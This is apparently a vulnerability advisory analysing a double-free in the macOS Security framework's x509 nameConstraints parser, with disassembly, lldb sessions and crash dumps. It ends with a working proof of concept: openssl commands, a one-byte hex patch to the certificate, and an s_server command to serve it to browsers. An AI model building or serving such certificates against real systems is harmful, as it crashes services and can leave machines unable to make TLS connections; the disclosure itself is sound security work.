When a client establishes a secure connection to a server, the server presents an x509 certificate which the client must validate.On Apple macOS, most client applications will use macOS’s certificate validation agent, at which point the malicious certificate will be parsed by the vulnerable code. This vulnerability can be triggered by, for example, visiting a HTTPS website with either Safari or Chrome, by connecting to a malicious mail server via Mail.app, or by simply importing the certificate by double clicking on it in finder.
The vulnerability exists in code responsible for parsing `nameConstraints` x509v3 certificate extension fields. In x509 certificate, `nameConstraints` are stored as general subtrees (RFC 5280) and while parsing them, the function `parseGeneralSubtrees` in library `/System/Library/Frameworks/Security.framework/Versions/A/Security` gets called:
```
__text:0000000000097061 push rbp
__text:0000000000097062 mov rbp, rsp
__text:0000000000097065 push r15
__text:0000000000097067 push r14
__text:0000000000097069 push r13
__text:000000000009706B push r12
__text:000000000009706D push rbx
__text:000000000009706E sub rsp, 78h
__text:0000000000097072 mov rbx, rsi
__text:0000000000097075 lea rsi, [rbp+var_38]
__text:0000000000097079 call _DERDecodeSeqContentInit [1]
__text:000000000009707E mov r12d, eax
__text:0000000000097081 test r12d, r12d
__text:0000000000097084 jnz loc_971CE
__text:000000000009708A mov rax, cs:_kCFAllocatorDefault_ptr
__text:0000000000097091 mov rdi, [rax]
__text:0000000000097094 mov [rbp+var_90], rdi
__text:000000000009709B mov rdx, cs:_kCFTypeArrayCallBacks_ptr
__text:00000000000970A2 xor r12d, r12d
__text:00000000000970A5 xor esi, esi
__text:00000000000970A7 call _CFArrayCreateMutable [2]
__text:00000000000970AC mov r15, rax
__text:00000000000970AF test r15, r15
__text:00000000000970B2 jz loc_971CE
...
__text:00000000000970B8 lea rdi, [rbp+var_38]
__text:00000000000970BC lea rsi, [rbp+var_50]
__text:00000000000970C0 call _DERDecodeSeqNext [3]
__text:00000000000970C5 mov r14d, eax
__text:00000000000970C8 test r14d, r14d
__text:00000000000970CB jnz loc_971A8
...
__text:00000000000971A8
__text:00000000000971A8 loc_971A8:
__text:00000000000971A8 mov rdi, [rbx]
__text:00000000000971AB test rdi, rdi
__text:00000000000971AE jz short loc_971B5
...
__text:00000000000971B5
__text:00000000000971B5 loc_971B5:
__text:00000000000971B5 mov [rbx], r15 [4]
__text:00000000000971B8 cmp r14d, 1
__text:00000000000971BC jz loc_971CE
...
__text:00000000000971C3 loc_971C3:
__text:00000000000971C3 mov rdi, r15
__text:00000000000971C6 call _CFRelease [5]
__text:00000000000971CB mov r12
```
At [1], DER sequence decoding is started, and a new memory buffer is allocated at [2] and saved in register `r15`. At [3], actual decoding is performed which, if failed, ends up at `loc_971A8` and then at [4], a pointer to allocated memory is saved in `[rbx]` which points inside a structure allocated for this certificate. Because the call at [3] has failed, the check at [4] won’t succseed and the memory buffer gets freed at once at [5]. This is a first free and a stale pointer is left at `[rbx]`. Since this pointer is not NULL, it can later be reused, leading to process crash and further undefined behaviour. With the supplied PoC certificate, the process will again attempt to free the already freed memory area while freeing all certificate parsing related structures when calling `Security`SecCertificateDestroy`.
This can be observed in the following debugging session:
```
(lldb) settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
(lldb) command script import lldb.macosx.heap
"malloc_info", "ptr_refs", "cstr_refs", "find_variable", and "objc_refs" commands have been installed, use the "--help" options on these commands for detailed help.
(lldb) b parseGeneralSubtrees
Breakpoint 4: where = Security`parseGeneralSubtrees, address = 0x00007fff824b8061
(lldb) r verify-cert -c poc.der
There is a running process, kill it and restart?: [Y/n] Y
Process 2461 exited with status = 9 (0x00000009)
Process 2470 launched: '/usr/bin/security' (x86_64)
GuardMalloc[security-2470]: Allocations will be placed on 16 byte boundaries.
GuardMalloc[security-2470]: - Some buffer overruns may not be noticed.
GuardMalloc[security-2470]: - Applications using vector instructions (e.g., SSE) should work.
GuardMalloc[security-2470]: version 109
security(2470,0x7fff9a8263c0) malloc: stack logs being written into /tmp/stack-logs.2470.1000f0000.security.ANmHIl.index
security(2470,0x7fff9a8263c0) malloc: recording malloc and VM allocation stacks to disk using standard recorder
security(2470,0x7fff9a8263c0) malloc: process 2461 no longer exists, stack logs deleted from /tmp/stack-logs.2461.1000f0000.security.bTHK4Z.index
Stop reason : breakpoint 3.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824225ee Security`SecCertificateCreateWithData + 46, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
frame #0: 0x00007fff824225ee Security`SecCertificateCreateWithData + 46
(lldb) disassemble -s 0x7fff824b80ac-5
Security`parseGeneralSubtrees:
0x7fff824b80a7 <+70>: call 0x7fff82678a10 ; symbol stub for: CFArrayCreateMutable
0x7fff824b80ac <+75>: mov r15, rax
0x7fff824b80af <+78>: test r15, r15
0x7fff824b80b2 <+81>: je 0x7fff824b81ce ; <+365>
0x7fff824b80b8 <+87>: lea rdi, [rbp - 0x38]
0x7fff824b80bc <+91>: lea rsi, [rbp - 0x50]
0x7fff824b80c0 <+95>: call 0x7fff82612976 ; DERDecodeSeqNext
(lldb) c
Process 2470 resuming
Stop reason : breakpoint 1.1 4.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824b8061 Security`parseGeneralSubtrees, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 4.1
frame #0: 0x00007fff824b8061 Security`parseGeneralSubtrees
```
Above, we set a breakpoint at function `parseGeneralSubtrees` and at a call to `CFArrayCreateMutable` in it so we can see where our memory gets allocated.
```
(lldb) c
Process 2470 resuming
Stop reason : breakpoint 5.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824b80ac Security`parseGeneralSubtrees + 75, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1
frame #0: 0x00007fff824b80ac Security`parseGeneralSubtrees + 75
(lldb) malloc_info -s $rax
0x0000000101687fd0: malloc( 48) -> 0x101687fd0 __NSArrayM.NSMutableArray.NSArray.NSObject.isa
stack[0]: addr = 0x101687fd0, type=malloc, frames:
[0] 0x00007fff91a93d7f libsystem_malloc.dylib`calloc + 30
[1] 0x00007fff9101be9d libobjc.A.dylib`class_createInstance + 88
[2] 0x00007fff7c121f6f CoreFoundation`__CFAllocateObject2 + 15
[3] 0x00007fff7c297b71 CoreFoundation`+[__NSArrayM __new:::] + 33
[4] 0x00007fff824b80ac Security`parseGeneralSubtrees + 75
[5] 0x00007fff824b7648 Security`SecCEPNameConstraints + 75
[6] 0x00007fff824b1f2f Security`SecCertificateParse + 1574
[7] 0x00007fff8242263d Security`SecCertificateCreateWithData + 125
[8] 0x00007fff824740c4 Security`SecCertificateCreateFromData + 82
[9] 0x0000000100014cea security`___lldb_unnamed_symbol134$$security + 207
[10] 0x0000000100016fae security`___lldb_unnamed_symbol147$$security + 18
[11] 0x0000000100016a90 security`___lldb_unnamed_symbol146$$security + 800
[12] 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
[13] 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
[14] 0x00007fff9190f235 libdyld.dylib`start + 1
[15] 0x00007fff9a8263c1 libsystem_pthread.dylib`_thread + 1
```
We can see that heap chunk of size 48 was allocated at `0x101687fd0`, then we continue untill `DERDecodeSeqNext` call returns:
```
(lldb) b 0x7fff824b80c5
Breakpoint 6: where = Security`parseGeneralSubtrees + 100, address = 0x00007fff824b80c5
(lldb) disassemble -s 0x7fff824b80c5-5
Security`parseGeneralSubtrees:
0x7fff824b80c0 <+95>: call 0x7fff82612976 ; DERDecodeSeqNext
0x7fff824b80c5 <+100>: mov r14d, eax
0x7fff824b80c8 <+103>: test r14d, r14d
0x7fff824b80cb <+106>: jne 0x7fff824b81a8 ; <+327>
0x7fff824b80d1 <+112>: lea rax, [rip + 0x1d1f20] ; DERNumGeneralSubtreeItemSpecs
0x7fff824b80d8 <+119>: movzx eax, word ptr [rax]
0x7fff824b80db <+122>: movzx eax, ax
(lldb) register read rax
rax = 0x0000000000000003
```
We can observe the return value of `3`. This will jump out of the loop and end up at the code that saves the pointer to `[rbx]` and then frees it:
```
(lldb) b 0x7fff824b81a8
Breakpoint 7: where = Security`parseGeneralSubtrees + 327, address = 0x00007fff824b81a8
(lldb) disassemble -s 0x7fff824b81a8
Security`parseGeneralSubtrees:
0x7fff824b81a8 <+327>: mov rdi, qword ptr [rbx]
0x7fff824b81ab <+330>: test rdi, rdi
0x7fff824b81ae <+333>: je 0x7fff824b81b5 ; <+340>
0x7fff824b81b0 <+335>: call 0x7fff82678d0a ; symbol stub for: CFRelease
0x7fff824b81b5 <+340>: mov qword ptr [rbx], r15
0x7fff824b81b8 <+343>: cmp r14d, 0x1
0x7fff824b81bc <+347>: je 0x7fff824b81ce ; <+365>
0x7fff824b81be <+349>: jmp 0x7fff824b81c3 ; <+354>
0x7fff824b81c0 <+351>: xor r14d, r14d
0x7fff824b81c3 <+354>: mov rdi, r15
(lldb) b 0x7fff824b81b5
Breakpoint 8: where = Security`parseGeneralSubtrees + 340, address = 0x00007fff824b81b5
(lldb) register read r14
r14 = 0x0000000000000003
(lldb) disassemble -s $pc
Security`parseGeneralSubtrees:
-> 0x7fff824b81c6 <+357>: call 0x7fff82678d0a ; symbol stub for: CFRelease
0x7fff824b81cb <+362>: mov r12d, r14d
0x7fff824b81ce <+365>: mov eax, r12d
0x7fff824b81d1 <+368>: add rsp, 0x78
0x7fff824b81d5 <+372>: pop rbx
0x7fff824b81d6 <+373>: pop r12
0x7fff824b81d8 <+375>: pop r13
0x7fff824b81da <+377>: pop r14
0x7fff824b81dc <+379>: pop r15
0x7fff824b81de <+381>: pop rbp
0x7fff824b81df <+382>: ret
```
Memory is now free, but a stale pointer is left. Continuing the process leads to the following crash:
```
(lldb) c
Process 2476 resuming
Stop reason : EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
Process 2476 stopped
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
(lldb) bt
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x101687fd0)
* frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
frame #1: 0x00007fff824b171d Security`SecCertificateDestroy + 298
frame #2: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
frame #3: 0x00007fff7c297f9b CoreFoundation`-[__NSSingleObjectArrayI dealloc] + 43
frame #4: 0x00007fff824c351e Security`SecTrustDestroy + 59
frame #5: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
frame #6: 0x0000000100016d76 security`___lldb_unnamed_symbol146$$security + 1542
frame #7: 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
frame #8: 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
frame #9: 0x00007fff9190f235 libdyld.dylib`start + 1
frame #10: 0x00007fff9190f235 libdyld.dylib`start + 1
(lldb) disassemble -s $pc
CoreFoundation`CFRelease:
-> 0x7fff7c128b4b <+11>: mov rax, qword ptr [rdi]
0x7fff7c128b4e <+14>: test rax, rax
0x7fff7c128b51 <+17>: je 0x7fff7c128b8a ; <+74>
0x7fff7c128b53 <+19>: cmp rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
0x7fff7c128b5a <+26>: je 0x7fff7c128b8a ; <+74>
0x7fff7c128b5c <+28>: mov ecx, 0xa08
0x7fff7c128b61 <+33>: bextr ecx, dword ptr [rdi + 0x8], ecx
(lldb) register read rdi
rdi = 0x0000000101687fd0
(lldb)
```
The crash is due to use of `libgmalloc` which marks freed memory as unreadable and unwritable:
```
(lldb) memory region $rdi
[0x00000001014a6fd0-0x00000001014a8000) ---
(lldb)
```
If we consult open source code from Apple regarding DER parsing functions, we can see that `DERDecodeSeqNext` will return `3` on decoding error (DR_DecodeError enum to be precise), so in order to trigger this vulnerability, a specially crafted x509 certificate with invalid `nameConstraints` is needed.
Further manipulation of the certificate layout in memory can lead to other structures being allocated at the freed chunk, leading to further undefined behaviour and eventual remote code execution.
When a simple PoC crashing certificate file is double clicked in Finder, it gets added to keychain which crashes when trying to parse it. This will keep crashing com.apple.trustd agent in a loop, effectively rendering the system unusable and unable to connect to any SSL/TLS server.
### Crash Information
```
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0000000101401D90 RBP: 0x00007FFF5FBFF2D0 RSP: 0x00007FFF5FBFF2B8 o d I t s Z a P c
RDI: 0x00000001014A6FD0 RSI: 0x0000000101AB0000 RDX: 0x0000000000001000 RCX: 0x00000000004B6000 RIP: 0x00007FFF7C128B4B
R8: 0x0000000000001A09 R9: 0x000000001A090000 R10: 0x0000000000000000 R11: 0x0000000000000202 R12: 0x0000000101401D98
R13: 0x00007FFF971B9620 R14: 0xFFFFFFFF00000000 R15: 0x0000000000000100
CS: 002B FS: 0000 GS: 0000
-----------------------------------------------------------------------------------------------------------------------[code]
CoreFoundation`CFRelease:
-> 0x7fff7c128b4b <+11>: mov rax, qword ptr [rdi]
0x7fff7c128b4e <+14>: test rax, rax
0x7fff7c128b51 <+17>: je 0x7fff7c128b8a ; <+74>
0x7fff7c128b53 <+19>: cmp rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
0x7fff7c128b5a <+26>: je 0x7fff7c128b8a ; <+74>
0x7fff7c128b5c <+28>: mov ecx, 0xa08
0x7fff7c128b61 <+33>: bextr ecx, dword ptr [rdi + 0x8], ecx
0x7fff7c128b67 <+39>: lea rdx, [rip + 0x1b092ac2] ; __CFRuntimeObjCClassTable
-----------------------------------------------------------------------------------------------------------------------------
Stop reason : EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
Process 2476 stopped
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
(lldb) bt
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
* frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
frame #1: 0x00007fff824b171d Security`SecCertificateDestroy + 298
frame #2: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
frame #3: 0x00007fff7c297f9b CoreFoundation`-[__NSSingleObjectArrayI dealloc] + 43
frame #4: 0x00007fff824c351e Security`SecTrustDestroy + 59
frame #5: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
frame #6: 0x0000000100016d76 security`___lldb_unnamed_symbol146$$security + 1542
frame #7: 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
frame #8: 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
frame #9: 0x00007fff9190f235 libdyld.dylib`start + 1
frame #10: 0x00007fff9190f235 libdyld.dylib`start + 1
(lldb) disassemble -s $pc
CoreFoundation`CFRelease:
-> 0x7fff7c128b4b <+11>: mov rax, qword ptr [rdi]
0x7fff7c128b4e <+14>: test rax, rax
0x7fff7c128b51 <+17>: je 0x7fff7c128b8a ; <+74>
0x7fff7c128b53 <+19>: cmp rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
0x7fff7c128b5a <+26>: je 0x7fff7c128b8a ; <+74>
0x7fff7c128b5c <+28>: mov ecx, 0xa08
0x7fff7c128b61 <+33>: bextr ecx, dword ptr [rdi + 0x8], ecx
(lldb) register read rdi
rdi = 0x00000001014a6fd0
(lldb) memory region $rdi
[0x00000001014a6fd0-0x00000001014a8000) ---
(lldb)
```
### Exploit Proof-of-Concept
A certificate that triggers this vulnerability can be created by modifying a sample certificate generated via `openssl` with added extensions to configuration file:
```
[ v3_req ]
nameConstraints=permitted;email:.somedomain.com
```
And then executing the following command:
```
openssl req -x509 -newkey rsa:1024 -keyout key.pem -out cert.pem -days 365 -nodes -extensions req_v3 -config /etc/ssl/openssl.cnf
openssl x509 -text -inform PEM -outform DER < cert.pem > poc.der
```
And modifying nameConstraints sequence decoding to fail, for example :
```
000001b0: 3015 a013 3011 810f 2e73 6f6d 6564 6f6d 0...0....somedom
000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7 ain.com0...*.H..
```
To:
```
000001b0: 3015 a013 30ff 810f 2e73 6f6d 6564 6f6d 0...0....somedom
000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7 ain.com0...*.H..
```
The crash can be demonstrated via `/usr/bin/security` :
```
bash-3.2$ /usr/bin/security verify-cert -c poc.der
Cert Verify Result: CSSMERR_TP_NOT_TRUSTED
Segmentation fault: 11
bash-3.2$
```
Or by creating a fake web server and visiting via browser:
```
openssl s_server -cert poc.der -certform DER -key key.pem -accept 44330 -www -dhparam dHParam.pem
```
Which when visited by a browser results in:
```
mac com.apple.xpc.launchd[1] (com.apple.WebKit.Networking.FE2D7E71-2AAE-4092-9726-5ADB4EB8FF3A[909]): Service exited due to signal: Segmentation fault: 11 sent by exc handler[0]
mac com.apple.xpc.launchd[1] (com.apple.ReportCrash[2515]): Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.ReportCrash
```
暂无评论